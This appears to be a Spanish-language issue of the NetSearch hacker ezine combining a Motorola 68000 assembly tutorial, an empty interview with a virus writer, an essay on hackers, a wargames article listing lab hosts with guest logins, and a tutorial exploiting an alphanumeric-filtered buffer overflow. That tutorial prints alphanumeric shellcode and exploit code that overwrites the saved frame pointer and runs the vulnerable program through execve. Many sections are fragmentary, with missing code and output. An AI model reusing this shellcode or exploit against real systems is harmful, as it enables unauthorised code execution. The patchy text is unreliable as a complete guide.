| |<--- DTACK -
| |
| | __ _
| |<--- BR |
| | __ | Gestion del
| |---> BG | bus
| | _____ |
|_________________|<--- BGACK -
^ ^ ^
| | |
| | |
____ ____ ____
IPL2 IPL1 IPL0 Entradas de interrupcion
[Nota:] Las lineas negadas (con una linea por encima) quieren decir que esa
linea se activa con un "0" logico, en lugar de un "1".
bit 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0
flag T # S # # I2 I1 I0 | # # # X N Z V C
-=[ T (Trace): Si esta a "1" el micro funciona en modo traza (Paso a paso)
-=[ S (Status): Si esta a "1" estamos en modo Supervisor
Si esta a "0" estamos en modo Usuario
-=[ I2 I1 I0 (Mascara de interrupcion): Si un periferico solicita una
interrupcion, el nivel de prioridad debe ser superior al
codificado por la mascara.
-=[ X (Bit de Extension): Indica el acarreo en operaciones BCD
-=[ N (Flag de Signo): Nos indica si la ultima operacion genero un
numero negativo.
-=[ Z (Flag de Zero): Indica que en la ultima operacion se obtuvo un 0.
-=[ V (Flag de Overflow): Cuando esta a "1" indica que la ultima operacion
genero un desbordamiento.
-=[ C (Flag de Carry): Indica ke en la ultima operacion se genero un
acarreo
===== [ La Memoria ]
El 68000 utiliza el formato Big Endian para el almacenamiento de datos
superiores al byte en memoria. Esto quiere decir que el byte mas
significativo se almacena en posiciones de memoria bajas (cercanas al
$00000).
$00000
.
.
byte alto
byte bajo
.
.
$FFFFF
UDS# y LDS#:
UDS# LDS# Acceso
---------------------------------------------
0 0 Tamao palabra (16 bits)
0 1 Byte bajo
1 0 Byte alto
1 1 No hay acceso a memoria
========== [ PROGRAMACION ]
===== [ Modos de direccionamiento ]
Los modos de direccionamiento son los formas de indicar al micro donde
encontrar un dato determinado, es decir, cual es su direccion efectiva
(direccion fisica del dato).
En el 68000 tenemos 13 modos de direccionamiento:
==[ Comentarios
Los comentarios comienzan por * o por ' y el ensamblador los ignora al
generar el codigo.
==[ Representacion de datos:
Dato Prefijo Ejemplo
-------------------------------------------
Decimal Sin prefijo 63
Binario % %111111
Hexadecimal $ $3F
ASCII ' ' 'NETSEARCH'
==[ Operaciones
Estas operaciones pueden realizarse entre registros dentro de una
instruccion.
Por ejemplo:
NETSEARCH EQU 20
EZINE EQU 30
MOVE #(NETSEARCH + EZINE / 2),D2
seria lo mismo que
MOVE #25,D2
| OR logico
^ OR Exclusivo (aka XOR)
& AND llogico
+ Suma de enteros
- Resta de enteros
* Multiplicacion de enteros
/ Division entera de enteros
> Desplazamiento logico hacia la derecha
< Desplazamiento logico hacia la izquierda
+ (prefijo) Signo positivo
- (prefijo) Signo negativo
! Negacion logica
() Parenesis sin limite de nivel
.B El operando es un byte
.W El operando es una palabra (Por defecto para datos)
.L El operando es una palabra larga (Por defecto para direcciones)
En instrucciones de tipo branch (ramificacion):
.S Desplazamiento corto (8 bits)
.L Desplazamiento largo (16 bits)
- ABSOLUTE
--------
Indica que el codigo que se generara es absoluto (las referencias a
posiciones de memoria). El codigo absoluto solo se ejecutara correctamente si
se encuentra en las posiciones de memoria para las que ha sido ensamblado.
- RELATIVE
--------
Modo por defecto.
Las referencias a posiciones de memoria seran relativas al Contador de
programa (PC)
- ORG (ORIGIN)
------------
ORG expresion
Indica la posicion de memoria a partir de la cual se coloca el codigo que
se genere a continuacion.
En codigo absoluto puede aparecer 20 veces, y en relativo solo 1.
Ej: ORG $25000
- END
---
Debe aparecer al final del programa. El codigo escrito a continuacion se
ignorara.
- DC
--
DC.B expresion,expresion,...
DC.W expresion,expresion,...
DC.L expresion,expresion,...
Inicializa espacio en memoria.
Ej: DC.W $25000
DC.L 'HOLA',$00
- DS
--
DS.B|W|L expresion
Reserva tantos bytes|words|longword como se ponga en expresion.
Ej: DS.W 2 ----> DC.W 0,0
- EQU
---
etiqueta EQU expresion
Asigna el valor de la expresion a una etiqueta.
Ej: NUMERO EQU $400
- MOVE
----
MOVE.B|W|L origen, destino
Transfiere datos del origen al destino.
Ej: MOVE #$12,D3
- MOVEA
-----
MOVEA origen,A*
Transfiere una direccion.
Ej: MOVEA $27,A2
- MOVEM
-----
MOVEM.W|L lista de registros,destino
o
MOVEM.W|L origen,lista de registros
Transfiere multiples registros.
- MOVEQ
-----
MOVEQ #n,D*
Transferencia rapida a registro de datos.
n es un numero de 8 bits en complemento a 2.
- MOVEP
-----
MOVEP.W|L O(A2),D*
o
MOVEP.W|L D*,O(A2)
Transferencia a perifericos.
- EXG (Exchange)
---
EXG expresion, expresion
Permite intercambiar dos registros (de direcciones, de datos o uno con otro)
- SWAP
----
SWAP D*
Intercambia las dos mitades de un registro de datos.
- ADD
---
ADD.B|W|L origen,destino
Suma binaria. Uno de los dos operandos ha de ser un registro de datos.
Ej: ADD #$4F,D3
- ADDA
----
ADDA.B|W|L fuente,A*
Suma de direccion.
Ej: ADDA.W #$5,A2
- ADDI
----
ADDI.B|W|L #n,destino
Suma inmediata.
- ADDQ
----
ADDQ.B|W|L #n,destino
Suma rapida. 1 <= n <= 8
- ADDX
----
ADDX.B|W|L origen,destino
Suma extendida. origen + destino + X = destino
X es el flag extendido del registro de estados
- SUB
---
SUB.B|W|L origen,destino
Resta binaria.
- SUBA
----
SUB.B|W|L origen,A*
Resta de direcciones.
- SUBI
----
SUBI.B|W|L #n,destino
Resta inmediata.
- SUBQ
----
SUBQ.B|W|L #n,destino
Resta rapida.
- SUBX
----
SUBX.B|W|L origen,destino
Resta extendida.
- NEG
---
NEG.B|W|L operando
Niega el operando.
- NEGX
----
NEGX.B|W|L operando
Negacion con extension.
- MULS
----
MULS.W operando,D*
Multiplicacion con signo.
Los operandos son de 16 bits y el resultado de 32 bits.
- MULU
----
MULU.W operando,D*
Multiplicacion sin signo. El resultado es de 32 bits.
- DIVS
----
DIVS.W operando,D*
Division con signo.
El la palabra mas significativa del resultado es el resto, y la menos
significativa el cociente.
- DIVU
----
DIVU.W operando,D*
Division sin signo.
- CMP
---
CMP.B|W|L operando,D*
Compara registros de datos.
- CMPA
----
CMPA.B|W|L operando,D*
Comparacion inmediata.
- CMPM
----
CMPM.B|W|L (A*)+,(A*)+
Comparacion de posiciones de memoria.
- EXT
---
EXT.W|L D*
Extiende el bit de signo del operando.
- CLR (Clear)
---
CLR.B|W|L operando
Pone a 0 el operando.
- TST
---
TST.B|W|L operando
Compara 0 con el operando.
- TAS
---
TAS.B operando
Comprueba operando y pone a 1 su bit de signo.
- ABCD
----
ABCD.B|W|L fuente,destino
Suma en codigo BCD con extension.
- SBCD
----
SBCD.B|W|L fuente,destino
Resta BCD con extension.
- NBCD
----
NBCD.B|W|L operando
Negacion en BCD con extension.
- AND
---
AND.B|W|L fuente,destino
Realiza un Y logico entre los operandos.
- ANDI
----
ANDI.B|W|L #n,operando
Y logico inmediato.
#n es un numero decimal entre 1 y 8.
- OR
--
OR.B|W|L origen,destino
Realiza un O logico.
- ORI
---
ORI.B|W|L #n,destino
O logico inmediato.
- NOT
---
NOT.B|W|L operando
Negacion logica.
- EOR
---
EOR.B|W|L D*,destino
Realiza un O exclusivo (aka XOR)
- EORI
----
EORI.B|W|L #n,destino
O exclusivo inmediato.
- BTST
----
BTST #n,destino
o
BTST D*,destino
Comprobamos un bit y reflejamos el estado de ese bit en el flag Z del
registro de estados. #n es el bit a comprobar.
- BCLR
----
BCLR #n,destino
o
BCLR D*,destino
Comprueba el bit indicado y refleja el contenido en Z. Despues pone a 0 ese
bit.
- BSET
----
BSET #n,destino
o
BSET D*,destino
Comprueba, actualiza Z y pone a 1 el bit.
- BCHG
----
BCHG #n,destino
o
BCHG D*,destino
Comprueba, actualiza Z e invierte el valor del bit.
- LSL
---
LSL.B|W|L Di,Dj desp = Di mod 64
LSL.B|W|L #n,D* desp = #n
LSL destino desp = 1
Desplaza hacia la izquierda los bits tantas veces como desp.
C <-- bit|bit|bit| ... |bit|bit|bit <-- 0
|
X <--
- LSR
---
LSR.B|W|L Di,Dj desp = Di mod 64
LSR.B|W|L #n,D* desp = #n
LSR destino desp = 1
Desplaza hacia la derecha los bits tantas veces como desp.
0 --> bit|bit|bit| ... |bit|bit|bit --> C
|
--> X
- ASL
---
ASL.B|W|L Di,Dj desp = Di mod 64
ASL.B|W|L #n,D* desp = #n
ASL destino desp = 1
Desplazamiento aritmetico hacia la izquierda.
El flag V (overflow) se pone a 1 si el bit mas significativo cambia en
algun momento.
- ASR
---
ASR.B|W|L Di,Dj desp = Di mod 64
ASR.B|W|L #n,D* desp = #n
ASR destino desp = 1
Desplazamiento aritmetico hacia la derecha.
El flag V (overflow) se pone a 1 si el bit menos significativo cambia en
algun momento.
- ROL
---
ROL.B|W|L Di,Dj desp = Di mod 64
ROL.B|W|L #n,D* desp = #n
ROL destino desp = 1
Rotacion hacia la izquierda.
________________________________
| |
C <-- bit|bit|bit|...|bit|bit|bit <--
- ROR
---
ROR.B|W|L Di,Dj desp = Di mod 64
ROR.B|W|L #n,D* desp = #n
ROR destino desp = 1
Rotacion hacia la derecha.
________________________________
| |
--> bit|bit|bit|...|bit|bit|bit --> C
- ROXL
----
ROXL.B|W|L Di,Dj desp = Di mod 64
ROXL.B|W|L #n,D* desp = #n
ROXL destino desp = 1
Rotacion a izquierda con extension.
______________________________________
| |
C <-- bit|bit|bit|...|bit|bit|bit <-- X <--
- ROXR
----
ROXR.B|W|L Di,Dj desp = Di mod 64
ROXR.B|W|L #n,D* desp = #n
ROXR destino desp = 1
Rotacion a derecha con extension.
_____________________________________
| |
-- X --> bit|bit|bit|...|bit|bit|bit --> C
- JMP (Jump)
---
JMP destino
Salto. (Direccionamiento absoluto)
El PC se pone la dir. de etiqueta.
- RTR
---
RTR
Retorno de subrutina y reposicion de los codigos de condicion.
- DBcc
----
DBcc D*,etiqueta
Decrementar y ramificar. Mientras cc se cumple no se hace nada.
Si cc no se cumple, se decrementa el registro D*.
Mientras D* es distinto de -1, se salta a etiqueta.
- Scc (Set)
---
Scc destino
Pone destino a 1 si la condicion se cumple o a 0 si no.
El destino sera un byte.
- NOP
---
NOP
No hace nada. Solo cunsume tiempo de reloj (4 ciclos).
Es util para generar retrasos, reservas de espacio para futuras
instrucciones o para substituir instrucciones sobrantes sin tener que
modificar el resto del programa.
- RESET
-----
RESET
Activa la linea de reset o produce una excepcion (el micro no se
reinicializa).
- STOP
----
STOP #n
Se pone #n en SR y se para la ejecucion. Para reanudar la ejecucion es
necesaria una interrupcion.
- CHK (Check)
---
CHK origen,D*
Compara un registro con unos limites.
D* < 0 o D* > origen
Si fuera de esos limites, se genera una interrupcion 6 (Tipo trampa)
- TRAP (Trampa)
----
TRAP #n
Se genera una interrupcion trampa. #n esta entre 0 y 15, segun la
prioridad.
- TRAPV
-----
TRAPV
Se genera una excepcion de tipo trampa de orden 7 si el flag V (Overflow)
esta a 1.
<-->
===== [ Subrutinas ]
A veces hay operaciones que se repiten durante un programa, y habria que
reescribir todo el codigo de nuevo, con el consiguiente gasto de memoria y el
engorro de reescribirlo. Para evitar esto se crean subrutinas, que son
pedazos de codigo que podemos llamar mediante instrucciones de salto o
ramificacion. Fisicamente, en memoria solo esta una vez, pero puede
utilizarse cuantas veces sea necesario.
El funcionamiento basico de una subrutina es el siguiente:
Al llegar a una llamada a subrutina, se guarda en la pila la direccion a la
que apunta ese momento el PC (Contador de programa). Entonces actualizamos el
PC con la direccion de comienzo de la subrutina. Una vez termina la subrutina
(Con la instruccion RTS o RTR), se recupera de la pila la direccion del PC y
continuaremos en la siguiente instruccion a la llamada de la subrutina.
===== [ Excepciones ]
===== [ Interrupciones ]
Las interrupciones son el mecanismo basico de sincronizacion del micro con
dispositivos externos. Quiza sean una de las cosas mas importantes en un
micro.
____ ____ ____
Pueden ser generadas por hardware, a traves de las lineas IPL2 IPL1 e IPL0
o por software, mediante las instrucciones TRAP.
Existe tambien una interrupcion especial llamada Interrupcion Espurea, que
sirve para evitar esperas infinitas cuando el micro lleva mucho tiempo
esperando (por ejemplo, se activa una IRQ por ruido, pero realmente nadie
pide la interrupcion).
Una interrupcion funciona basicamente igual que una subrutina, con la
diferencia de que se trabaja en modo supervisor (y por tanto, tambien
utilizamos la pila de supervisor (SSP).
-=[ Mecanismo de solicitud
En las lineas de interrupcion se codifica el nivel de prioridad de la
interrupcion. Se utilizan los 7 Autovectores (ya que estamos hablando de una
interrupcion generada externamente, por un periferico, por ejemplo).
____ ____ ____
IPL2 IPL1 IPL0 Nivel de prioridad
------------------------------------------------------------
0 0 0 7 (Maxima, no enmascarable)
0 0 1 6
0 1 0 5
0 1 1 4
1 0 0 3
1 0 1 2
1 1 0 1 (Minima)
1 1 1 No se solicita interrupcion
[Nota:] Como vemos, son lineas que se activan a nivel bajo (es decir, con
un 0).
Se suele utilizar un codificador para generar estos codigos a partir de
las 7 IRQ, pero eso ya lo veremos en proximos articulos.
-=[ Enmascaramiento
El enmascaramiento nos sirve para controlar si cuando se activa una
interrupcion y ya esta otra en ejecucion se debe parar la primera o no. Esto
se hace con la mascara de interrupcion, codificada en el byte alto del
registro de estado, como hemos visto anteriormente. Esta mascara se
actualiza cuando se genera una interrupcion, y si se genera otra, el nivel de
prioridad de esta interrupcion debe ser superior a la mascara, o se ignorara.
ORG $25000
MOVE.L #$29000,A7 * Inicializacion de SP
INICIO
CLR.L D0 * Ponemos a 0 D0
MOVE.B $60000,D0 * Leer entrada
CMPI.B #1,D0 * Si es 1...
BEQ PARPADEO * ...saltamos a parpadeo
CMPI.B #2,D0 * Si es 2...
BEQ COCHE * ...saltamos a COCHE
JMP INICIO * Sino, reiniciamos
===== [ NOTA ]
Este articulo ha sido escrito para NetSearch Ezine, en base a
conocimientos adquiridos sobre el MC68000 de Motorola. No se ha utilizado
bibliografia publicada, por lo que no garantizo que todo sea correcto.
El autor permite la traduccion y la reproduccion de este documento en
otros medios, siempre y cuando sea avisado y la reproduccion sea integra
(incluida esta nota).
MoebiuZ <moebiuz@netsearch-ezine.com>
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
__ ___ _ _
\ \ / (_)_ __ | |_ ___ _ __ _ __ ___ _ _| |_ ___
\ \ /\ / /| | '_ \| __/ _ \ '__| '_ ` _ \| | | | __/ _ \
\ V V / | | | | | || __/ | | | | | | | |_| | || __/
\_/\_/ |_|_| |_|\__\___|_| |_| |_| |_|\__,_|\__\___|
INTRO
En los ultimos meses el aumento del numero de virus ha hecho el agosto entre
las compaias antivirus. Un gran numero de especimes de discutible codigo y
filosofia ha provocado que la imagen del mundo virii vuelva a estar en el ojo
del huracan de todas las criticas en los distintos medios de comunicacion.
Desde NetSearch, y el aki presente, nos veiamos casi en la obligacion de dar
la oportunidad de opinar a alguna persona que pudiera verse inmerso en este
mar de mala fama.
Logicamente, el haber tenido el placer de conocer y tener una muy buena
relacion con nuestro amigo Wintermute, ha decantado la balanza para que el
fuera nuestro elegido.
Pues bien, no me entretengo mas.... En contacto con, Wintermute.
-----------------------------------
-- MODE TONO ENTREVISTA: OFF --
-----------------------------------
----------------------------------
-- MODE TONO ENTREVISTA: ON --
----------------------------------
[Nota de Editor: Pues nada.. solo mandarle un saludo desde aqui a Winter y
darle las gracias personalmente por la entrevista. Thanks
y hasta otra ;-).]
NetSearch
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
----------------
// 0.- Indice
----------------
0.- Indice
1.- Prologo
2.- Programa Vulnerable
3.- Shellcode
4.- Examinando Pr. Vulnerable
5.- Xplotando Pr. Vulnerable
6.- Conclusion
----------------
// 1.- Prologo
----------------
--------------------------------
// 2.- Programa Vulnerable
--------------------------------
Como intentar xplotar este tipo de overflows de una forma generica es muy
complicado me basare en un codigo que suele repetirse en bastantes programas
conocidos. Es el siguiente..
bzero(buffer,1024);
while((str[n] != 0x00) && (isalnum((unsigned char)str[n])))
buffer[n] = str[n++];
if (str[n] != 0x00)
{
printf("El string contenia un valor no alfanumerico.\n");
exit(-1);
}
printf("string: %s\n", buffer);
return(0);
}
-------------------
// 3.- Shellcode
-------------------
Como recordareis [los que lo hayan leido claro :)], en NS #5 publique una
shellcode desarrollada por mua alfanumerica (dentro en un articulo de
scodes). Venia bastante explicada y eso, asi que no me voy a repetir con lo
mismo. Solo dos pequeos apuntes..
El primero se refiere al metodo que usaba la anterior scode para poder poner
'nops' (desarrollado por Fatuo - leonardo@hispasecurity.com). Ese metodo
consistia en suponer que el 'xploteador' (persona que programaba el xploit),
se encargaria de sobreescribir el registro %ebp con la direccion de la
shellcode (aparte de sobreescribir la propia dire de retorno claro). Luego se
iba incrementando %ebp con el caracter 'E', que es la instruccion 'incl
%ebp', y que actuaria a modo de nop.
El problema es que a la hora de xplotar un programa de estas caracteristicas
resulta imposible sobreescribir el registro %ebp con la direccion de la
scode, ya que no se pueden poner caracteres no alfnum, con lo que el metodo
es inoperativo. La solucion pasa por programar otro tipo de scode
alfanumerica, a la que se le puedan 'meter' nops. El resultado es lo que
sigue a continuacion, una scode a la que se le pueden 'meter' un maximo de
200 nops. La limitacion de nops es debido a que por cada nop que le pueda
poner 'delante', hay que ponerlo detras, con lo que la longitud de la
shellcode puede crecer desmesuradamente en un momentin de nada XD. Esta
version ocupa 418 bytes. Siento no explicar ni poner el codigo de la scode,
pero el arti creceria excesivamente :(. Para mas informacion podeis leer el
articulo 'Shellcodes en Linux/i386 (2)', en NetSearch Ezine #5.
El nop que usaremos en este caso sera 'G', que corresponde a la instruccion
'incl %edi'.
NOTA: Esta shellcode la hice hace bastante tiempo, pero tuve que modificarla
ligeramente a ultima hora para este articulo. Debido a ello el codigo
esta sin optimizar, seguramente podria reducirse su tamao de forma
considerable.
----------------------------------
// 4.- Examinando Pr. Vulnerable
----------------------------------
Para este primer ejemplo el metodo que usaremos sera el de "frame pointer
overwriting", documentado ampliamente en Phrack55 (articulo 8), por klog
<klog@promisc.org>.
Pues bien, en este ejemplo lo tenemos bastante facil. Bastaria con
sobreescribir el %ebp guardado con la direccion del %ebp real mas 4 bytes. Es
decir, debemos hacer que a la hora de hacer el ret, en %esp este la direccion
del argumento que le pasamos a check(). Veamoslo con el gdb (las direcciones
estan sacadas de una Mandrake 8.0 con kernel 2.4.3).
Bueno, parece que la cosa funciona :). Ahora solo necesitamos hacer el xploit
con la shellcode alfanumerica y listo (o no?..). Pasemos al siguiente
apartado.
----------------------------------
// 5.- Xplotando Pr. Vulnerable
----------------------------------
Pues bien, ahora que ya sabemos las direcciones de memoria exactas lo logico
seria pensar que ya podemos hacer el xploit.. pues no, todavia falta una cosa
mas.
Nosotros hemos visto las direcciones teoricas usando gdb, el problema es que
entre usar un debugger y no usarlo las direcciones de memoria varian
ligeramente. Por lo tanto tenemos que averiguar las direcciones REALES, sin
usar gdb. Como?, pues lo mas sencillo es provocando un 'core dump'. Si
tenemos acceso al codigo fuente del programa lo mas sencillo es meter un
'while(1);' donde nos apetezca, y luego desde otra terminal hacer algo como
'kill -s 3 pid', con lo que conseguiremos un core muy guapeton.
Sino tenemos acceso al codigo fuente habra que apaarselas para provocar un
core. Nosotros supondremos que no tenemos acceso a el. Pensemos.. que tal si
hacemos lo siguiente? (recordemos que la cantidad de bytes a introducir tiene
que ser exacta):
Vaya, parece que ha funcionado :). Lo que hemos hecho ha sido sobreescribir
%ebp integramente para asegurarnos el core, y restar los bytes de mas a
argv[2] para que nos coincida el alineamiento. Como la direccion va a seguir
siendo aproximada a la que era cuando usabamos el gdb, podemos empezar a
buscar en las cercanias de 0xbffff368, que era la direccion real de %ebp
durante la ejecucion de main(). Observemos..
char shellc[] =
// nops here ..
"DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi"
"fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX"
"f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02"
"L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";
/* rellenamos a ceros */
bzero(buf, 2048);
/* seteamos 1032 nops */
memset(buf, 0x47, 1032);
/* dejamos 32 nops x si acaso */
for(i=32; i < (strlen(shellc)-32); i++)
buf[i] = shellc[i-32];
/* sobreescribimos %ebp */
buf[1032] = 0x6c;
/* 80 bytes de relleno */
bzero(pad, 128);
memset(pad, 0x47, 80);
/* seteamos argumentos */
arg[0] = path;
arg[1] = buf;
arg[2] = pad;
arg[3] = NULL;
/* lo ejecutamos */
execve(path, arg, environ);
}
<-->
La unica novedad es que hemos usando la variable externa 'environ', para que
las variables de entorno sean exactamente las mismas, ya que un solo byte de
mas y se nos estropearia todo. El path que usamos es './codigo1', ya que fue
el que utilizamos a la hora de provocar el core dump. Probemos el xploit..
X fin.. :). Los bytes no alfnum del final es debido a que con el overflow le
hemos quitado el null del final al string, con lo que printea unos cuantos
bytes de mas.
-------------------
// 6.- Conclusion
-------------------
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
----
+ Indice Articulos:
1.- Disertacion Personal (por Plateado).
2.- Wargames (por TheGuesT).
3.- Trucos en el IRC (por Plateado).
4.- Recuperacion de passwords en routers Cisco (por MegadetH).
----
Bueno, aqui estamos otra vez :). Esta vez tenemos unos cuantos artis, breves,
pero no por eso malos. Empezamos con uno de opinion que a mi gusto es de lo
mejorcito que he leido ultimamente (en cuanto a este tipo de textos se
refiere). Despues uno de Wargames, que trata sobre los juegos que estan tan
de moda ultimamente, donde tienes que 'hackear' una maquina, por supuesto con
permiso del propietario. Seguimos con un articulo sobre 'trucos' en el IRC,
que seguro que agradeceran nuestros lectores que se estan iniciando en el
mundo del chateo. Y terminamos con un excelente documento sobre recuperacion
de passwords en routers cisco.
Os dejo con ellos ..
Que es un hacker?.
Esta pregunta es dificil de contestar, para empezar porque el significado no
esta bien definido. Hay miles de definiciones distintas y no por ello dejan
de ser correctas. He leido ya una cantidad enorme de definiciones, unas mas
graciosas que otras, recuerdo que me hizo gracia una de un chaval que acababa
de ver la pelicula hackers y decia algo asi como "Hacker es la persona que se
mete en un ordenador de una empresa usando a gran velocidad los flashes de
colores", en fin, los comentarios sobran.
La mas repetida de todas es la de "Hacker es la persona que se introduce en
un sistema informatico sin tener autorizacion para ello", esta podria ser
correcta, pero la verdad es que eso yo lo hago y no me considero un hacker,
mas bien un intruso, o simplemente alguien que penetra por agujeros de
seguridad.
Para mi los hackers son los gurus de la informatica, no es hacker el que sabe
hackear, sino el que esta en el grado maximo de los conocimientos, puede
moverse en casi cualquier sistema, y muy por el contrario de lo que se
piensa, no hackea en beneficio porpio, sino mas bien, por ansia de
conocimientos, y por la lucha de un ideal, la libertad de informacion por
encima de todo.
No soy un entendido en la historia de los procesadores, ni siquiera en la de
ordenadores, si me hablas de antes del 286 los conozco vagamente, y si los
conozco... , pero preferi estudiar la historia de los hackers, los autenticos
hackers. Gente como Kevin Mitnick, Phiber Optik de Masters of Deception,
Prophet, Leftis y Urville de Legion Of Doom (LOD) o Knight Lightning, y por
supuesto algunos hackers del lado de la seguridad, que tambien los hay, como
Gail Thackeray; Ellos son los protagonistas de la operacion Sundevil, la caza
de hackers que se realizo en USA con fines ejemplarizantes para quitar de la
mente a las siguientes generaciones el seguir sus pasos. Los gobiernos no
quieren ver lo que realmente buscamos los hackers y los que seguimos sus
pasos, o si lo quieren ver no les interesa que lo consigamos, el conocimiento
nos hara libres...
Que es un lamer?
A menudo oigo decir lamer o leim a la pea, y en la mayoria de los casos ni
siquiera saben lo que significa, por supuesto este termino tambien tiene
infinitas acepciones, yo solo voy a dar la mia, y quizas alguno piense en lo
que digo y se de cuenta de algo que pueda ayudarle a el o a otros...
Ahi va la mia: Para mi un lamer no es la persona que se mete con troyanos en
los ordenadores de la gente, de hecho, pienso que si una persona me colase un
troyano, le felicitaria por su habilidad con la ingenieria social, tampoco
son las personas que usan programas hechos por otros, o los que usan windows.
Para mi los lamers son aquellos que usan cosas sin saber sus procedimientos,
sin entender lo que realmente estan haciendo, y que ademas no les importa el
no saberlo. No se preocupan por aprender que hacen y ni siquiera querrian
aprenderlo, porque leer la informacion les parece una perdida de tiempo, eso
es ser un lamer. Lo peor es que esa gente muchas veces desprestigian el buen
nombre de los hackers diciendo que ellos lo son, y muchas veces son cogidos
por no saber lo que hacian, y condenados sin saber que riesgos corrian antes
de hacerlo. A toda esa gente, si lee esto, le recomiendo que se informen de
las consecuencias legales que puede conllevar ser un lamer, asi como las
posibilidades que hay de que te pillen...
Plateado
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
Wargames
^^^^^^^^
Si quieres demostrar lo que sabes sobre hack, sistemas operativos y
programacion ya no hay excusa posible. Siempre hemos tenido la oportunidad de
demostrar nuestros conocimientos o bien de manera ilegal ( la menos
recomendable ;) ), con nuestro propio ordenador o, los mas afortunados, red o
incluso con los ordenadores de los colegas. Hace tiempo surgio lo que
denominamos wargames ( juegos de guerra ). Su nombre se saco probablemente de
la pelicula que al fin y al cabo no se va tanto de lo que en la actualidad
conocemos por wargames.
Estos son una especie de juegos en internet en los cuales tienes que
demostrar tus conocimientos a la hora de hackear un server. Y todo de manera
absolutamente legal ya que los dueos de las maquinas las han puesto ahi para
que tu las ataques.
Basicamente, yo distingo dos tipos de wargames. En unos el juego se divide
por niveles. Para pasar al siguiente nivel tienes que superar un reto. Como
es obvio, cada nivel que avanzas el reto es mas complicado llegando incluso a
tener que programarte tu propio exploit basado en un buffer overflow que
tienes que encontrar en algun programa que usa la maquina. El problema que
personalmente le veo a este tipo de wargame es que estas muy limitado. Haces
practicamente lo que te dejan hacer y la forma de pasar de nivel es igual
para todos asi que no os sera dificil encontrar por la red la solucion a los
enigmas de los wargames de este tipo.
El segundo tipo me parece mas interesante. Los protagonistas: una maquina con
distintos servicios instalados, una cuenta de invitado y un hacker. Objetivo:
obtener el control de la maquina, dar a conocer como lo hiciste y protegerla
el mayor tiempo posible. Durante ese tiempo la maquina es practicmante tuya.
Tendras que administrarla estando atento a los bugs que vayan saliendo a la
luz. Tu mayor enemigo los 0-day exploits. Es el nombre que se le da a los
exploits que no han salido a la luz y que los propios hackers se hacen con el
objetivo concreto de obtener root en una maquina.
Habitualmente las maquinas que pertenecen a estos wargames tienen algun
sistema operativo de verdad, instalado. Me refiero a sistemas operativos de
verdad, cualquiera menos los de Microsoft xD. Algun tipo de Unix o algun OS
especifico para un hardware. Por ejemplo, en una de las URLs que mostrare al
final se permite el ataque a un router son JunOS instalado. Interesante sin
duda.
Tal vez, haya dado la impresion de que estos wargames se rigen por la
anarquia pero no es asi. Todos los wargames tienen su propio conjunto de
reglas que se suelen resumir en "haz pero deja hacer" y "no me utilices como
ftp warez o plataforma de ataque DoS". En algunos casos el admin del juego
protege con un firewall la red para que no haya conexiones desde alguna de
sus maquinas hacia fuera.
Llegado a este punto tal vez algun lector se esperaba que desvelara alguno de
los retos de algun wargame tal como se ha hecho en otros ezines del sector.
Pero no va a ser asi ya que no me gusta desvelar el final de la pelicula. Es
como si os dijera que Leonardo Di Caprio muere al final de Titanic o que
Bruce Willis es un fantasma en el Sexto Sentido. Habiais visto ya estas
pelis verdad ? X).
Ahora os mostrare algunas URLs y algunas maquinas de estas URLs sobre las que
podeis probar.
http://www.pulltheplug.com
Maquinas disponibles:
olive.labs.pulltheplug.com (209.9.44.209)
Juniper Router - JUNOS 4.2R1.3 - l/p : guest/guest
roothat.labs.pulltheplug.com (209.9.44.210)
Pent. Pro - 200 Mhz - 128 Megs RAM - 1.6 Gig HD - RedHat 6.2
bigperm.labs.pulltheplug.com (209.9.44.212)
Pent. Pro - 200 Mhz - 128 Megs RAM - 2 2 Gig HDs - Debian/GNU Linux
2.1
Linux 2.2.13 - Solar Designer's Security Patches - l/p : guest/guest
bassd.labs.pulltheplug.com (209.9.44.211)
Pentium - 200 Mhz MMX - 64 Megs RAM - 2 Gig HD - FreeBSD 4.0 - l/p :
guest/guest
generic.labs.pulltheplug.com (209.9.44.213)
Pentium - 200 Mhz - 80 Megs RAM - 2 Gig HD / 3 Gig HD - OpenBSD 2.6 -
l/p : guest/guest
bricklouse.labs.pulltheplug.com (209.9.44.214)
Pentium - 166 Mhz - 64 Megs RAM - 2 Gig HD - NetBSD 1.4.2/i386 - l/p :
guest/guest
mainsource.labs.pulltheplug.com (209.9.44.215)
P2 Celeron - 450 Mhz - 128 Megs RAM - Suse Linux 6.4 - l/p :
guest/guest
slowaris.labs.pulltheplug.com (209.9.44.216)
Solaris 2.8 l/p: guest/guest
disco.labs.pulltheplug.com (209.9.44.217)
Cisco 2514 - 16 Megs RAM - 8 Megs Flash - IOS 12.0.4 - Firewall IOS -
l: letmein
EOF
http://www.hack3r.com
Maquinas disponibles:
hercules.hack3r.org
IP hercules.hack3r.org / 208.46.64.190
Description AMD k6-2 500, 128 Megs Ram. 8 Gig HD
Information Turbo Linux 6.0.4
Status Currently Down for repairs
minime.hack3r.org
IP 66.56.147.177
Description i486 8 Megs Ram 400 meg HD
Information OpenBSD 2.8
Login: hetfield Passwd: abc123
Status Currently Up
EOF
http://www.happyhacker.org
Maquinas disponibles:
